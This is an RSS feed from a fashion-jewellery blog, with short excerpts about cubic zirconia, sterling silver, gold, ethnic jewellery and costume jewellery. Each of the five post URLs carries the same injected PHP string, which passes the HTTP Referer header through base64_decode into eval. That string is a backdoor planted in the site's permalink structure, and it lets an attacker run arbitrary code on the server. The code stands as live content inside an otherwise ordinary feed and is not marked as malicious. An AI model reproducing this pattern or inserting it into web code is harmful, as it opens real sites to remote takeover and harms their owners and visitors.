http://www.sparkleandshimmer.co.uk/wordpress The world of fashion jewellery, gold, diamonds and beyond... Tue, 17 Feb 2009 20:02:35 +0000 http://backend.userland.com/rss092 en Cubic zirconia (CZ) is the synthesised form of the rare mineral cubic zirconium and is widely used to simulate diamonds. CZ is a hard stone and optically flawless. The discovery of CZ is linked to 2 German mineralogists, M V Stackelberg and K Chudoba. In 1937 they encountered naturally occurring ... http://www.sparkleandshimmer.co.uk/wordpress/2009/02/17/identifying-and-buying-cubic-zirconia-cz-and-diamonds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Silver is an element with the symbol Ag, taken from the Ancient Greek word ‘argentos’ and Latin ‘argentum’. Silver has long been valued as a precious metal and is often produced as a by-product of gold, lead, zinc and copper mining. Being a soft metal in its pure state, (solid) sterling silver (standard ... http://www.sparkleandshimmer.co.uk/wordpress/2009/01/09/a-guide-to-buying-sterling-silver-jewellery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Gold is an element which bears the symbol Au, taken from the latin word ‘aurum’. Gold is a highly sought after precious metal, occurring as nuggets or grains in rocks. The proportion, or purity of gold in jewellery is measured in terms of carat (or karat in the US or Canada), with pure gold ... http://www.sparkleandshimmer.co.uk/wordpress/2008/12/31/a-guide-to-buying-gold-jewellery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ethnic jewellery is a term used to describe any jewellery made in a style that is identifiable as being traditional or typical of a particular people, region or country. This may include African, Tibetan or Indian designs, or items from Peru, Nepal, Bali etc - or perhaps featuring Aztec or Inca ... http://www.sparkleandshimmer.co.uk/wordpress/2008/11/23/so-what-is-ethnic-or-tribal-jewellery-exactly/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello and welcome to our brand spanking new blog.    We thought for the maiden post, we'd talk a bit about costume jewellery, a term that is a bit of a grab bag / catch all phrase used to describe any sort of jewellery that is not 'fine jewellery'.  This includes any ... http://www.sparkleandshimmer.co.uk/wordpress/2008/11/17/hello-and-welcome-and-a-word-about-costume-jewellery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/